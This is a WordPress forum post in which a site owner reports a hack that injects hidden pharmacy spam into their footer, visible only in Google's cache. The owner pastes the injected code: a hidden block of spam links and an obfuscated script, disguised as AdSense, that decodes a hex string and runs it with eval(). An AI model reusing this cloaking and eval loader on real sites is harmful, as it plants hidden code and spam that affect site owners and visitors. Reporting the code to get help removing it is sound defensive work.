WP hacked, Ads added to Google cache
-
I just discovered that the Google result for my site https://londonlitplus.com includes hidden spam that is not visible to regular browsing.
It appears to be added in with the wp_footer() anchor, and as I’m not using this, I’ve removed it from my theme, which will hopefully stop it immediately (only becoming effective when Google recaches my site though), but I’m assuming it’s still there in my core files (I’m using only a couple of reputable plugins).
I did try spoofing my sit with a Googlebot user-agent, which, while definitely working, did not show up the spam.
I upgraded all my core files to 2.5.1 only a few weeks ago, so I’m assuming this has happened since then, although I can’t be sure. I can’t find where it’s coming from, but I’d sure like to.
I’ve found references to this problem elsewhere, although the hole – files chmodded to 777 – is not the problem here.
Has anyone else experienced this? Is there a known problem and/or solution?
This is what was being added in my footer:
<div id="_wp_footer"><a href="https://www.foresight.org/nanodot/?res=0" title="Acyclovir">Acyclovir</a> <a href="https://www.foresight.org/nanodot/?res=1" title="Adderall">Adderall</a> ... Many more similar ... <a href="https://www.foresight.org/nanodot/?res=97" title="Brahmi">Brahmi</a> <a href="https://www.foresight.org/nanodot/?res=98" title="Brite">Brite</a> <a href="https://www.foresight.org/nanodot/?res=99" title="Buspar">Buspar</a> </div> <script type="text/javascript"><!-- google_ad_client = "pub-7652328300112263"; google_ad_width = 728; google_ad_height = 15; google_ad_format = "728x15_0ads_al_s"; google_ad_channel = ""; function google_ads(str){var idx = str.indexOf('?'); if (idx == -1) return str; var len = str.length; var new_str = ""; var i = 1; for (++idx; idx < len; idx += 2,i++){ var ch = parseInt(str.substr(idx, 2), 16); new_str += String.fromCharCode((ch + i) % 256); } eval(new_str);} google_ads("https://pagead2.googlesyndication.com/pagead/show_ads.js?636D6071685F676C255D5A68385E565D545C612E64334D100E455C544248504F53434F0304084C4C50423A02373B44403B2F4609ED3838362CE800"); //--> </script>
- The topic ‘WP hacked, Ads added to Google cache’ is closed to new replies.